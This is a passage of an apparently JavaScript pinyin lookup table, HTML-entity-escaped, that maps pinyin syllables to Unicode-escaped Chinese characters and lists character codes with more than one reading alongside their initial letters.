7\u6883\u8713\u9706&#34;,&#34;tong&#34;:&#34;\u901a\u6850\u916e\u77b3\u540c\u94dc\u5f64\u7ae5\u6876\u6345\u7b52\u7edf\u75db\u4f5f\u50ee\u4edd\u833c\u55f5\u6078\u6f7c\u783c&#34;,&#34;tou&#34;:&#34;\u5077\u6295\u5934\u900f\u4ea0&#34;,&#34;tu&#34;:&#34;\u51f8\u79c3\u7a81\u56fe\u5f92\u9014\u6d82\u5c60\u571f\u5410\u5154\u580d\u837c\u83df\u948d\u9174&#34;,&#34;tuan&#34;:&#34;\u6e4d\u56e2\u7583&#34;,&#34;tui&#34;:&#34;\u63a8\u9893\u817f\u8715\u892a\u9000\u5fd2\u717a&#34;,&#34;tun&#34;:&#34;\u541e\u5c6f\u81c0\u9968\u66be\u8c5a\u7a80&#34;,&#34;tuo&#34;:&#34;\u62d6\u6258\u8131\u9e35\u9640\u9a6e\u9a7c\u692d\u59a5\u62d3\u553e\u4e47\u4f57\u5768\u5eb9\u6cb1\u67dd\u7823\u7ba8\u8204\u8dce\u9f0d&#34;,&#34;wa&#34;:&#34;\u6316\u54c7\u86d9\u6d3c\u5a03\u74e6\u889c\u4f64\u5a32\u817d&#34;,&#34;wai&#34;:&#34;\u6b6a\u5916&#34;,&#34;wan&#34;:&#34;\u8c4c\u5f2f\u6e7e\u73a9\u987d\u4e38\u70f7\u5b8c\u7897\u633d\u665a\u7696\u60cb\u5b9b\u5a49\u4e07\u8155\u525c\u8284\u82cb\u83c0\u7ea8\u7efe\u742c\u8118\u7579\u873f\u7ba2&#34;,&#34;wang&#34;:&#34;\u6c6a\u738b\u4ea1\u6789\u7f51\u5f80\u65fa\u671b\u5fd8\u5984\u7f54\u5c22\u60d8\u8f8b\u9b4d&#34;,&#34;wei&#34;:&#34;\u5a01\u5dcd\u5fae\u5371\u97e6\u8fdd\u6845\u56f4\u552f\u60df\u4e3a\u6f4d\u7ef4\u82c7\u840e\u59d4\u4f1f\u4f2a\u5c3e\u7eac\u672a\u851a\u5473\u754f\u80c3\u5582\u9b4f\u4f4d\u6e2d\u8c13\u5c09\u6170\u536b\u502d\u504e\u8bff\u9688\u8473\u8587\u5e0f\u5e37\u5d34\u5d6c\u7325\u732c\u95f1\u6ca9\u6d27\u6da0\u9036\u5a13\u73ae\u97ea\u8ece\u709c\u7168\u71a8\u75ff\u8249\u9c94&#34;,&#34;wen&#34;:&#34;\u761f\u6e29\u868a\u6587\u95fb\u7eb9\u543b\u7a33\u7d0a\u95ee\u520e\u6120\u960c\u6c76\u74ba\u97eb\u6b81\u96ef&#34;,&#34;weng&#34;:&#34;\u55e1\u7fc1\u74ee\u84ca\u8579&#34;,&#34;wo&#34;:&#34;\u631d\u8717\u6da1\u7a9d\u6211\u65a1\u5367\u63e1\u6c83\u83b4\u5e44\u6e25\u674c\u809f\u9f8c&#34;,&#34;wu&#34;:&#34;\u5deb\u545c\u94a8\u4e4c\u6c61\u8bec\u5c4b\u65e0\u829c\u68a7\u543e\u5434\u6bcb\u6b66\u4e94\u6342\u5348\u821e\u4f0d\u4fae\u575e\u620a\u96fe\u6664\u7269\u52ff\u52a1\u609f\u8bef\u5140\u4ef5\u9622\u90ac\u572c\u82b4\u5e91\u6003\u5fe4\u6d6f\u5be4\u8fd5\u59a9\u9a9b\u727e\u7110\u9e49\u9e5c\u8708\u92c8\u9f2f&#34;,&#34;xi&#34;:&#34;\u6614\u7199\u6790\u897f\u7852\u77fd\u6670\u563b\u5438\u9521\u727a\u7a00\u606f\u5e0c\u6089\u819d\u5915\u60dc\u7184\u70ef\u6eaa\u6c50\u7280\u6a84\u88ad\u5e2d\u4e60\u5ab3\u559c\u94e3\u6d17\u7cfb\u9699\u620f\u7ec6\u50d6\u516e\u96b0\u90d7\u831c\u8478\u84f0\u595a\u550f\u5f99\u9969\u960b\u6d60\u6dc5\u5c63\u5b09\u73ba\u6a28\u66e6\u89cb\u6b37\u71b9\u798a\u79a7\u94b8\u7699\u7a78\u8725\u87cb\u823e\u7fb2\u7c9e\u7fd5\u91af\u9f37&#34;,&#34;xia&#34;:&#34;\u778e\u867e\u5323\u971e\u8f96\u6687\u5ce1\u4fa0\u72ed\u4e0b\u53a6\u590f\u5413\u6380\u846d\u55c4\u72ce\u9050\u7455\u7856\u7615\u7f45\u9ee0&#34;,&#34;xian&#34;:&#34;\u9528\u5148\u4ed9\u9c9c\u7ea4\u54b8\u8d24\u8854\u8237\u95f2\u6d8e\u5f26\u5acc\u663e\u9669\u73b0\u732e\u53bf\u817a\u9985\u7fa1\u5baa\u9677\u9650\u7ebf\u51bc\u85d3\u5c98\u7303\u66b9\u5a34\u6c19\u7946\u9e47\u75eb\u86ac\u7b45\u7c7c\u9170\u8df9&#34;,&#34;xiang&#34;:&#34;\u76f8\u53a2\u9576\u9999\u7bb1\u8944\u6e58\u4e61\u7fd4\u7965\u8be6\u60f3\u54cd\u4eab\u9879\u5df7\u6a61\u50cf\u5411\u8c61\u8297\u8459\u9977\u5ea0\u9aa7\u7f03\u87d3\u9c9e\u98e8&#34;,&#34;xiao&#34;:&#34;\u8427\u785d\u9704\u524a\u54ee\u56a3\u9500\u6d88\u5bb5\u6dc6\u6653\u5c0f\u5b5d\u6821\u8096\u5578\u7b11\u6548\u54d3\u54bb\u5d24\u6f47\u900d\u9a81\u7ee1\u67ad\u67b5\u7b71\u7bab\u9b48&#34;,&#34;xie&#34;:&#34;\u6954\u4e9b\u6b47\u874e\u978b\u534f\u631f\u643a\u90aa\u659c\u80c1\u8c10\u5199\u68b0\u5378\u87f9\u61c8\u6cc4\u6cfb\u8c22\u5c51\u5055\u4eb5\u52f0\u71ee\u85a4\u64b7\u5ee8\u7023\u9082\u7ec1\u7f2c\u69ad\u698d\u6b59\u8e9e&#34;,&#34;xin&#34;:&#34;\u85aa\u82af\u950c\u6b23\u8f9b\u65b0\u5ffb\u5fc3\u4fe1\u8845\u56df\u99a8\u8398\u6b46\u94fd\u946b&#34;,&#34;xing&#34;:&#34;\u661f\u8165\u7329\u60fa\u5174\u5211\u578b\u5f62\u90a2\u884c\u9192\u5e78\u674f\u6027\u59d3\u9649\u8347\u8365\u64e4\u60bb\u784e&#34;,&#34;xiong&#34;:&#34;\u5144\u51f6\u80f8\u5308\u6c79\u96c4\u718a\u828e&#34;,&#34;xiu&#34;:&#34;\u4f11\u4fee\u7f9e\u673d\u55c5\u9508\u79c0\u8896\u7ee3\u83a0\u5cab\u9990\u5ea5\u9e3a\u8c85\u9af9&#34;,&#34;xu&#34;:&#34;\u589f\u620c\u9700\u865a\u5618\u987b\u5f90\u8bb8\u84c4\u9157\u53d9\u65ed\u5e8f\u755c\u6064\u7d6e\u5a7f\u7eea\u7eed\u8bb4\u8be9\u5729\u84ff\u6035\u6d2b\u6e86\u987c\u6829\u7166\u7809\u76f1\u80e5\u7cc8\u9191&#34;,&#34;xuan&#34;:&#34;\u8f69\u55a7\u5ba3\u60ac\u65cb\u7384\u9009\u7663\u7729\u7eda\u5107\u8c16\u8431\u63ce\u9994\u6ceb\u6d35\u6e32\u6f29\u7487\u6966\u6684\u70ab\u714a\u78b9\u94c9\u955f\u75c3&#34;,&#34;xue&#34;:&#34;\u9774\u859b\u5b66\u7a74\u96ea\u8840\u5671\u6cf6\u9cd5&#34;,&#34;xun&#34;:&#34;\u52cb\u718f\u5faa\u65ec\u8be2\u5bfb\u9a6f\u5de1\u6b89\u6c5b\u8bad\u8baf\u900a\u8fc5\u5dfd\u57d9\u8340\u85b0\u5ccb\u5f87\u6d54\u66db\u7aa8\u91ba\u9c9f&#34;,&#34;ya&#34;:&#34;\u538b\u62bc\u9e26\u9e2d\u5440\u4e2b\u82bd\u7259\u869c\u5d16\u8859\u6daf\u96c5\u54d1\u4e9a\u8bb6\u4f22\u63e0\u5416\u5c88\u8fd3\u5a05\u740a\u6860\u6c29\u7811\u775a\u75d6&#34;,&#34;yan&#34;:&#34;\u7109\u54bd\u9609\u70df\u6df9\u76d0\u4e25\u7814\u8712\u5ca9\u5ef6\u8a00\u989c\u960e\u708e\u6cbf\u5944\u63a9\u773c\u884d\u6f14\u8273\u5830\u71d5\u538c\u781a\u96c1\u5501\u5f66\u7130\u5bb4\u8c1a\u9a8c\u53a3\u9765\u8d5d\u4fe8\u5043\u5156\u8ba0\u8c33\u90fe\u9122\u82ab\u83f8\u5d26\u6079\u95eb\u960f\u6d07\u6e6e\u6edf\u598d\u5ae3\u7430\u664f\u80ed\u814c\u7131\u7f68\u7b75\u917d\u9b47\u990d\u9f39&#34;,&#34;yang&#34;:&#34;\u6b83\u592e\u9e2f\u79e7\u6768\u626c\u4f6f\u75a1\u7f8a\u6d0b\u9633\u6c27\u4ef0\u75d2\u517b\u6837\u6f3e\u5f89\u600f\u6cf1\u7080\u70ca\u6059\u86d8\u9785&#34;,&#34;yao&#34;:&#34;\u9080\u8170\u5996\u7476\u6447\u5c27\u9065\u7a91\u8c23\u59da\u54ac\u8200\u836f\u8981\u8000\u592d\u723b\u5406\u5d3e\u5fad\u7039\u5e7a\u73e7\u6773\u66dc\u80b4\u9e5e\u7a88\u7e47\u9cd0&#34;,&#34;ye&#34;:&#34;\u6930\u564e\u8036\u7237\u91ce\u51b6\u4e5f\u9875\u6396\u4e1a\u53f6\u66f3\u814b\u591c\u6db2\u8c12\u90ba\u63f6\u9980\u6654\u70e8\u94d8&#34;,&#34;yi&#34;:&#34;\u4e00\u58f9\u533b\u63d6\u94f1\u4f9d\u4f0a\u8863\u9890\u5937\u9057\u79fb\u4eea\u80f0\u7591\u6c82\u5b9c\u59e8\u5f5d\u6905\u8681\u501a\u5df2\u4e59\u77e3\u4ee5\u827a\u6291\u6613\u9091\u5c79\u4ebf\u5f79\u81c6\u9038\u8084\u75ab\u4ea6\u88d4\u610f\u6bc5\u5fc6\u4e49\u76ca\u6ea2\u8be3\u8bae\u8c0a\u8bd1\u5f02\u7ffc\u7fcc\u7ece\u5208\u5293\u4f7e\u8bd2\u572a\u572f\u57f8\u61ff\u82e1\u858f\u5f08\u5955\u6339\u5f0b\u5453\u54a6\u54bf\u566b\u5cc4\u5db7\u7317\u9974\u603f\u6021\u6092\u6f2a\u8fe4\u9a7f\u7f22\u6baa\u8d3b\u65d6\u71a0\u9487\u9552\u9571\u75cd\u7617\u7654\u7fca\u8864\u8734\u8223\u7fbf\u7ff3\u914f\u9edf&#34;,&#34;yin&#34;:&#34;\u8335\u836b\u56e0\u6bb7\u97f3\u9634\u59fb\u541f\u94f6\u6deb\u5bc5\u996e\u5c39\u5f15\u9690\u5370\u80e4\u911e\u5819\u831a\u5591\u72fa\u5924\u6c24\u94df\u763e\u8693\u972a\u9f88&#34;,&#34;ying&#34;:&#34;\u82f1\u6a31\u5a74\u9e70\u5e94\u7f28\u83b9\u8424\u8425\u8367\u8747\u8fce\u8d62\u76c8\u5f71\u9896\u786c\u6620\u5b34\u90e2\u8314\u83ba\u8426\u6484\u5624\u81ba\u6ee2\u6f46\u701b\u745b\u748e\u6979\u9e66\u763f\u988d\u7f42&#34;,&#34;yo&#34;:&#34;\u54df\u5537&#34;,&#34;yong&#34;:&#34;\u62e5\u4f63\u81c3\u75c8\u5eb8\u96cd\u8e0a\u86f9\u548f\u6cf3\u6d8c\u6c38\u607f\u52c7\u7528\u4fd1\u58c5\u5889\u6175\u9095\u955b\u752c\u9cd9\u9954&#34;,&#34;you&#34;:&#34;\u5e7d\u4f18\u60a0\u5fe7\u5c24\u7531\u90ae\u94c0\u72b9\u6cb9\u6e38\u9149\u6709\u53cb\u53f3\u4f51\u91c9\u8bf1\u53c8\u5e7c\u5363\u6538\u4f91\u83b8\u5466\u56ff\u5ba5\u67da\u7337\u7256\u94d5\u75a3\u8763\u9c7f\u9edd\u9f2c&#34;,&#34;yu&#34;:&#34;\u8fc2\u6de4\u4e8e\u76c2\u6986\u865e\u611a\u8206\u4f59\u4fde\u903e\u9c7c\u6109\u6e1d\u6e14\u9685\u4e88\u5a31\u96e8\u4e0e\u5c7f\u79b9\u5b87\u8bed\u7fbd\u7389\u57df\u828b\u90c1\u5401\u9047\u55bb\u5cea\u5fa1\u6108\u6b32\u72f1\u80b2\u8a89\u6d74\u5bd3\u88d5\u9884\u8c6b\u9a6d\u79ba\u6bd3\u4f1b\u4fe3\u8c00\u8c15\u8438\u84e3\u63c4\u5581\u5704\u5709\u5d5b\u72f3\u996b\u5ebe\u9608\u59aa\u59a4\u7ea1\u745c\u6631\u89ce\u8174\u6b24\u65bc\u715c\u71e0\u807f\u94b0\u9e46\u7610\u7600\u7ab3\u8753\u7afd\u8201\u96e9\u9f89&#34;,&#34;yuan&#34;:&#34;\u9e33\u6e0a\u51a4\u5143\u57a3\u8881\u539f\u63f4\u8f95\u56ed\u5458\u5706\u733f\u6e90\u7f18\u8fdc\u82d1\u613f\u6028\u9662\u586c\u6c85\u5a9b\u7457\u6a7c\u7230\u7722\u9e22\u8788\u9f0b&#34;,&#34;yue&#34;:&#34;\u66f0\u7ea6\u8d8a\u8dc3\u94a5\u5cb3\u7ca4\u6708\u60a6\u9605\u9fa0\u6a3e\u5216\u94ba&#34;,&#34;yun&#34;:&#34;\u8018\u4e91\u90e7\u5300\u9668\u5141\u8fd0\u8574\u915d\u6655\u97f5\u5b55\u90d3\u82b8\u72c1\u607d\u7ead\u6b92\u6600\u6c32&#34;,&#34;za&#34;:&#34;\u531d\u7838\u6742\u62f6\u5482&#34;,&#34;zai&#34;:&#34;\u683d\u54c9\u707e\u5bb0\u8f7d\u518d\u5728\u54b1\u5d3d\u753e&#34;,&#34;zan&#34;:&#34;\u6512\u6682\u8d5e\u74d2\u661d\u7c2a\u7ccc\u8db1\u933e&#34;,&#34;zang&#34;:&#34;\u8d43\u810f\u846c\u5958\u6215\u81e7&#34;,&#34;zao&#34;:&#34;\u906d\u7cdf\u51ff\u85fb\u67a3\u65e9\u6fa1\u86a4\u8e81\u566a\u9020\u7682\u7076\u71e5\u5523\u7f2b&#34;,&#34;ze&#34;:&#34;\u8d23\u62e9\u5219\u6cfd\u4ec4\u8d5c\u5567\u8fee\u6603\u7b2e\u7ba6\u8234&#34;,&#34;zei&#34;:&#34;\u8d3c&#34;,&#34;zen&#34;:&#34;\u600e\u8c2e&#34;,&#34;zeng&#34;:&#34;\u589e\u618e\u66fe\u8d60\u7f2f\u7511\u7f7e\u9503&#34;,&#34;zha&#34;:&#34;\u624e\u55b3\u6e23\u672d\u8f67\u94e1\u95f8\u7728\u6805\u69a8\u548b\u4e4d\u70b8\u8bc8\u63f8\u5412\u54a4\u54f3\u600d\u781f\u75c4\u86b1\u9f44&#34;,&#34;zhai&#34;:&#34;\u6458\u658b\u5b85\u7a84\u503a\u5be8\u7826&#34;,&#34;zhan&#34;:&#34;\u77bb\u6be1\u8a79\u7c98\u6cbe\u76cf\u65a9\u8f97\u5d2d\u5c55\u8638\u6808\u5360\u6218\u7ad9\u6e5b\u7efd\u8c35\u640c\u65c3&#34;,&#34;zhang&#34;:&#34;\u6a1f\u7ae0\u5f70\u6f33\u5f20\u638c\u6da8\u6756\u4e08\u5e10\u8d26\u4ed7\u80c0\u7634\u969c\u4ec9\u9123\u5e5b\u5d82\u7350\u5adc\u748b\u87d1&#34;,&#34;zhao&#34;:&#34;\u62db\u662d\u627e\u6cbc\u8d75\u7167\u7f69\u5146\u8087\u53ec\u722a\u8bcf\u68f9\u948a\u7b0a&#34;,&#34;zhe&#34;:&#34;\u906e\u6298\u54f2\u86f0\u8f99\u8005\u9517\u8517\u8fd9\u6d59\u8c2a\u966c\u67d8\u8f84\u78d4\u9e67\u891a\u8707\u8d6d&#34;,&#34;zhen&#34;:&#34;\u73cd\u659f\u771f\u7504\u7827\u81fb\u8d1e\u9488\u4fa6\u6795\u75b9\u8bca\u9707\u632f\u9547\u9635\u7f1c\u6862\u699b\u8f78\u8d48\u80d7\u6715\u796f\u755b\u9e29&#34;,&#34;zheng&#34;:&#34;\u84b8\u6323\u7741\u5f81\u72f0\u4e89\u6014\u6574\u62ef\u6b63\u653f\u5e27\u75c7\u90d1\u8bc1\u8be4\u5ce5\u94b2\u94ee\u7b5d&#34;,&#34;zhi&#34;:&#34;\u829d\u679d\u652f\u5431\u8718\u77e5\u80a2\u8102\u6c41\u4e4b\u7ec7\u804c\u76f4\u690d\u6b96\u6267\u503c\u4f84\u5740\u6307\u6b62\u8dbe\u53ea\u65e8\u7eb8\u5fd7\u631a\u63b7\u81f3\u81f4\u7f6e\u5e1c\u5cd9\u5236\u667a\u79e9\u7a1a\u8d28\u7099\u75d4\u6ede\u6cbb\u7a92\u536e\u965f\u90c5\u57f4\u82b7\u646d\u5e19\u5fee\u5f58\u54ab\u9a98\u6809\u67b3\u6800\u684e\u8f75\u8f7e\u6534\u8d3d\u81a3\u7949\u7957\u9ef9\u96c9\u9e37\u75e3\u86ed\u7d77\u916f\u8dd6\u8e2c\u8e2f\u8c78\u89ef&#34;,&#34;zhong&#34;:&#34;\u4e2d\u76c5\u5fe0\u949f\u8877\u7ec8\u79cd\u80bf\u91cd\u4ef2\u4f17\u51a2\u953a\u87bd\u8202\u822f\u8e35&#34;,&#34;zhou&#34;:&#34;\u821f\u5468\u5dde\u6d32\u8bcc\u7ca5\u8f74\u8098\u5e1a\u5492\u76b1\u5b99\u663c\u9aa4\u5544\u7740\u501c\u8bf9\u836e\u9b3b\u7ea3\u80c4\u78a1\u7c40\u8233\u914e\u9cb7&#34;,&#34;zhu&#34;:&#34;\u73e0\u682a\u86db\u6731\u732a\u8bf8\u8bdb\u9010\u7af9\u70db\u716e\u62c4\u77a9\u5631\u4e3b\u8457\u67f1\u52a9\u86c0\u8d2e\u94f8\u7b51\u4f4f\u6ce8\u795d\u9a7b\u4f2b\u4f8f\u90be\u82ce\u8331\u6d19\u6e1a\u6f74\u9a7a\u677c\u69e0\u6a65\u70b7\u94e2\u75b0\u7603\u86b0\u7afa\u7bb8\u7fe5\u8e85\u9e88&#34;,&#34;zhua&#34;:&#34;\u6293&#34;,&#34;zhuai&#34;:&#34;\u62fd&#34;,&#34;zhuan&#34;:&#34;\u4e13\u7816\u8f6c\u64b0\u8d5a\u7bc6\u629f\u556d\u989b&#34;,&#34;zhuang&#34;:&#34;\u6869\u5e84\u88c5\u5986\u649e\u58ee\u72b6\u4e2c&#34;,&#34;zhui&#34;:&#34;\u690e\u9525\u8ffd\u8d58\u5760\u7f00\u8411\u9a93\u7f12&#34;,&#34;zhun&#34;:&#34;\u8c06\u51c6&#34;,&#34;zhuo&#34;:&#34;\u6349\u62d9\u5353\u684c\u7422\u8301\u914c\u707c\u6d4a\u502c\u8bfc\u5ef4\u855e\u64e2\u555c\u6d5e\u6dbf\u6753\u712f\u799a\u65ab&#34;,&#34;zi&#34;:&#34;\u5179\u54a8\u8d44\u59ff\u6ecb\u6dc4\u5b5c\u7d2b\u4ed4\u7c7d\u6ed3\u5b50\u81ea\u6e0d\u5b57\u8c18\u5d6b\u59ca\u5b73\u7f01\u6893\u8f8e\u8d40\u6063\u7726\u9531\u79ed\u8014\u7b2b\u7ca2\u89dc\u8a3e\u9cbb\u9aed&#34;,&#34;zong&#34;:&#34;\u9b03\u68d5\u8e2a\u5b97\u7efc\u603b\u7eb5\u8159\u7cbd&#34;,&#34;zou&#34;:&#34;\u90b9\u8d70\u594f\u63cd\u9139\u9cb0&#34;,&#34;zu&#34;:&#34;\u79df\u8db3\u5352\u65cf\u7956\u8bc5\u963b\u7ec4\u4fce\u83f9\u5550\u5f82\u9a75\u8e74&#34;,&#34;zuan&#34;:&#34;\u94bb\u7e82\u6525\u7f35&#34;,&#34;zui&#34;:&#34;\u5634\u9189\u6700\u7f6a&#34;,&#34;zun&#34;:&#34;\u5c0a\u9075\u6499\u6a3d\u9cdf&#34;,&#34;zuo&#34;:&#34;\u6628\u5de6\u4f50\u67de\u505a\u4f5c\u5750\u5ea7\u961d\u963c\u80d9\u795a\u9162&#34;,&#34;cou&#34;:&#34;\u85ae\u6971\u8f8f\u8160&#34;,&#34;nang&#34;:&#34;\u652e\u54dd\u56d4\u9995\u66e9&#34;,&#34;o&#34;:&#34;\u5594&#34;,&#34;dia&#34;:&#34;\u55f2&#34;,&#34;chuai&#34;:&#34;\u562c\u81aa\u8e39&#34;,&#34;cen&#34;:&#34;\u5c91\u6d94&#34;,&#34;diu&#34;:&#34;\u94e5&#34;,&#34;nou&#34;:&#34;\u8028&#34;,&#34;fou&#34;:&#34;\u7f36&#34;,&#34;bia&#34;:&#34;\u9adf&#34;}; this.polyphone = {&#34;19969&#34;:&#34;DZ&#34;,&#34;19975&#34;:&#34;WM&#34;,&#34;19988&#34;:&#34;QJ&#34;,&#34;20048&#34;:&#34;YL&#34;,&#34;20056&#34;:&#34;SC&#34;,&#34;20060&#34;:&#34;NM&#34;,&#34;20094&#34;:&#34;QG&#34;,&#34;20127&#34;:&#34;QJ&#34;,&#34;20167&#34;:&#34;QC&#34;,&#34;20193&#34;:&#34;YG&#34;,&#34;20250&#34;:&#34;KH&#34;,&#34;20256&#34;:&#34;ZC&#34;,&#34;20282&#34;:&#34;SC&#34;,&#34;20285&#34;:&#34;QJG&#34;,&#34;20291&#34;:&#34;TD&#34;,&#34;20314&#34;:&#34;YD&#34;,&#34;20340&#34;:&#34;NE&#34;,&#34;20375&#34;:&#34;TD&#34;,&#34;20389&#34;:&#34;YJ&#34;,&#34;20391&#34;:&#34;CZ&#34;,&#34;20415&#34;:&#34;PB&#34;,&#34;20446&#34;:&#34;YS&#34;,&#34;20447&#34;:&#34;SQ&#34;,&#34;20504&#34;:&#34;TC&#34;,&#34;20608&#34;:&#34;KG&#34;,&#34;20854&#34;:&#34;QJ&#34;,&#34;20857&#34;:&#34;ZC&#34;,&#34;20911&#34;:&#34;PF&#34;,&#34;20504&#34;:&#34;TC&#34;,&#34;20608&#34;:&#34;KG&#34;,&#34;20854&#34;:&#34;QJ&#34;,&#34;20857&#34;:&#34;ZC&#34;,&#34;20911&#34;:&#34;PF&#34;,&#34;20985&#34;:&#34;AW&#34;,&#34;21032&#34;:&#34;PB&#34;,&#34;21048&#34;:&#34;XQ&#34;,&#34;21049&#34;:&#34;SC&#34;,&#34;21089&#34;:&#34;YS&#34;,&#34;21119&#34;:&#34;JC&#34;,&#34;21242&#34;:&#34;SB&#34;,&#34;21273&#34;:&#34;SC&#34;,&#34;21305&#34;:&#34;YP&#34;,&#34;21306&#34;:&#34;QO&#34;,&#34;21330&#34;:&#34;ZC&#34;,&#34;21333&#34;:&#34;SDC&#34;,&#34;21345&#34;:&#34;QK&#34;,&#34;21378&#34;:&#34;CA&#34;,&#34;21397&#34;:&#34;SC&#34;,&#34;21414&#34;:&#34;XS&#34;,&#34;21442&#34;:&#34;SC&#34;,&#34;21477&#34;:&#34;JG&#34;,&#34;21480&#34;:&#34;TD&#34;,&#34;21484&#34;:&#34;ZS&#34;,&#34;21494&#34;:&#34;YX&#34;,&#34;21505&#34;:&#34;YX&#34;,&#34;21512&#34;:&#34;HG&#34;,&#34;21523&#34;:&#34;XH&#34;,&#34;21537&#34;:&#34;PB&#34;,&#34;21542&#34;:&#34;PF&#34;,&#34;21549&#34;:&#34;KH&#34;,&#34;21571&#34;:&#34;E&#34;,&#34;21574&#34;:&#34;DA&#34;,&#34;21588&#34;:&#34;TD&#34;,&#34;21589&#34;:&#34;O&#34;,&#34;21618&#34;:&#34;ZC&#34;,&#34;21621&#34;:&#34;KHA&#34;,&#34;21632&#34;:&#34;ZJ&#34;,&#34;21654&#34;:&#34;KG&#34;,&#34;21679&#34;:&#34;LKG&#34;,&#34;21683&#34;:&#34;KH&#34;,&#34;21710&#34;:&#34;A&#34;,&#34;21719&#34;:&#34;YH&#34;,&#34;21734&#34;:&#34;WOE&#34;,&#34;21769&#34;:&#34;A&#34;,&#34;21780&#34;:&#34;WN&#34;,&#34;21804&#34;:&#34;XH&#34;,&#34;21834&#34;:&#34;A&#34;,&#34;21899&#34;:&#34;ZD&#34;,&#34;21903&#34;:&#34;RN&#34;,&#34;21908&#34;:&#34;WO&#34;,&#34;21939&#34;:&#34;ZC&#34;,&#34;21956&#34;:&#34;SA&#34;,&#34;21964&#34;:&#34;YA&#34;,&#34;21970&#34;:&#34;TD&#34;,&#34;22003&#34;:&#34;A&#34;,&#34;22031&#34;:&#34;JG&#34;,&#34;22040&#34;:&#34;XS&#34;,&#34;22060&#34;:&#34;ZC&#34;,&#34;22066&#34;:&#34;ZC&#34;,&#34;22079&#34;:&#34;MH&#34;,&#34;22129&#34;:&#34;XJ&#34;,&#34;22179&#34;:&#34;XA&#34;,&#34;22237&#34;:&#34;NJ&#34;,&#34;22244&#34;:&#34;TD&#34;,&#34;22280&#34;:&#34;JQ&#34;,&#34;22300&#34;:&#34;YH&#34;,&#34;22313&#34;:&#34;XW&#34;,&#34;22331&#34;:&#34;YQ&#34;,&#34;22343&#34;:&#34;YJ&#34;,&#34;22351&#34;:&#34;PH&#34;,&#34;22395&#34;:&#34;DC&#34;,&#34;22412&#34;:&#34;TD&#34;,&#34;22484&#34;:&#34;PB&#34;,&#34;22500&#34;:&#34;PB&#34;,&#34;22534&#34;:&#34;ZD&#34;,&#34;22549&#34;:&#34;DH&#34;,&#34;22561&#34;:&#34;PB&#34;,&#34;22612&#34;:&#34;TD&#34;,&#34;22771&#34;:&#34;KQ&#34;,&#34;22831&#34;:&#34;HB&#34;,&#34;22841&#34;:&#34;JG&#34;,&#34;22855&#34;:&#34;QJ&#34;,&#34;22865&#34;:&#34;XQ&#34;,&#34;23013&#34;:&#34;ML&#34;,&#34;23081&#34;:&#34;WM&#34;,&#34;23487&#34;:&#34;SX&#34;,&#34;23558&#34;:&#34;QJ&#34;,&#34;23561&#34;:&#34;YW&#34;,&#34;23586&#34;:&#34;YW&#34;,&#34;23614&#34;:&#34;YW&#34;,&#34;23615&#34;:&#34;SN&#34;,&#34;23631&#34;:&#34;PB&#34;,&#34;23646&#34;:&#34;ZS&#34;,&#34;23663&#34;:&#34;ZT&#34;,&#34;23673&#34;:&#34;YG&#34;,&#34;23762&#34;:&#34;TD&#34;,&#34;23769&#34;:&#34;ZS&#34;,&#34;23780&#34;:&#34;QJ&#34;,&#34;23884&#34;:&#34;QK&#34;,&#34;24055&#34;:&#34;XH&#34;,&#34;24113&#34;:&#34;DC&#34;,&#34;24162&#34;:&#34;ZC&#34;,&#34;24191&#34;:&#34;GA&#34;,&#34;24273&#34;:&#34;QJ&#34;,&#34;24324&#34;:&#34;NL&#34;,&#34;24377&#34;:&#34;TD&#34;,&#34;24378&#34;:&#34;QJ&#34;,&#34;24439&#34;:&#34;PF&#34;,&#34;24554&#34;:&#34;ZS&#34;,&#34;24683&#34;:&#34;TD&#34;,&#34;24694&#34;:&#34;WE&#34;,&#34;24733&#34;:&#34;LK&#34;,&#34;24925&#34;:&#34;TN&#34;,&#34;25094&#34;:&#34;ZG&#34;,&#34;25100&#34;:&#34;XQ&#34;,&#34;25103&#34;:&#34;XH&#34;,&#34;25153&#34;:&#34;PB&#34;,&#34;25170&#34;:&#34;PB&#34;,&#34;25179&#34;:&#34;KG&#34;,&#34;25203&#34;:&#34;PB&#34;,&#34;25240&#34;:&#34;ZS&#34;,&#34;25282&#34;:&#34;FB&#34;,&#34;25303&#34;:&#34;NA&#34;,&#34;25324&#34;:&#34;KG&#34;,&#34;25341&#34;:&#34;ZY&#34;,&#34;25373&#34;:&#34;WZ&#34;,&#34;25375&#34;:&#34;XJ&#34;,&#34;25384&#34;:&#34;A&#34;,&#34;25457&#34;:&#34;A&#34;,&#34;25528&#34;:&#34;SD&#34;,&#34;25530&#34;:&#34;SC&#34;,&#34;25552&#34;:&#34;TD&#34;,&#34;25774&#34;:&#34;ZC&#34;,&#34;25874&#34;:&#34;ZC&#34;,&#34;26044&#34;:&#34;YW&#34;,&#34;26080&#34;:&#34;WM&#34;,&#34;26292&#34;:&#34;PB&#34;,&#34;26333&#34;:&#34;PB&#34;,&#34;26355&#34;:&#34;ZY&#34;,&#34;26366&#34;:&#34;CZ&#34;,&#34;26397&#34;:&#34;ZC&#34;,&#34;26399&#34;:&#34;QJ&#34;,&#34;26415&#34;:&#34;ZS&#34;,&#34;26451&#34;:&#34;SB&#34;,&#34;26526&#34;:&#34;ZC&#34;,&#34;26552&#34;:&#34;JG&#34;,&#34;26561&#34;:&#34;TD&#34;,&#34;26588&#34;:&#34;JG&#34;,&#34;26597&#34;:&#34;CZ&#34;,&#34;26629&#34;:&#34;ZS&#34;,&#34;26638&#34;:&#34;YL&#34;,&#34;26646&#34;:&#34;XQ&#34;,&#34;26653&#34;:&#34;KG&#34;,&#34;26657&#34;:&#34;XJ&#34;,&#34;26727&#34;:&#34;HG&#34;,&#34;26894&#34;:&#34;ZC&#34;,&#34;26937&#34;:&#34;ZS&#34;,&#34;26946&#34;:&#34;ZC&#34;,&#34;26999&#34;:&#34;KJ&#34;,&#34;27099&#34;:&#34;KJ&#34;,&#34;27449&#34;:&#34;YQ&#34;,&#34;27481&#34;:&#34;XS&#34;,&#34;27542&#34;:&#34;ZS&#34;,&#34;27663&#34;:&#34;ZS&#34;,&#34;27748&#34;:&#34;TS&#34;,&#34;27784&#34;:&#34;SC&#34;,&#34;27788&#34;:&#34;ZD&#34;,&#34;27795&#34;:&#34;TD&#34;,&#34;27812&#34;:&#34;O&#34;,&#34;27850&#34;:&#34;PB&#34;,&#34;27852&#34;:&#34;MB&#34;,&#34;27895&#34;:&#34;SL&#34;,&#34;27898&#34;:&#34;PL&#34;,&#34;27973&#34;:&#34;QJ&#34;,&#34;27981&#34;:&#34;KH&#34;,&#34;27986&#34;:&#34;HX&#34;,&#34;27994&#34;:&#34;XJ&#34;,&#34;28044&#34;:&#34;YC&#34;,&#34;28065&#34;:&#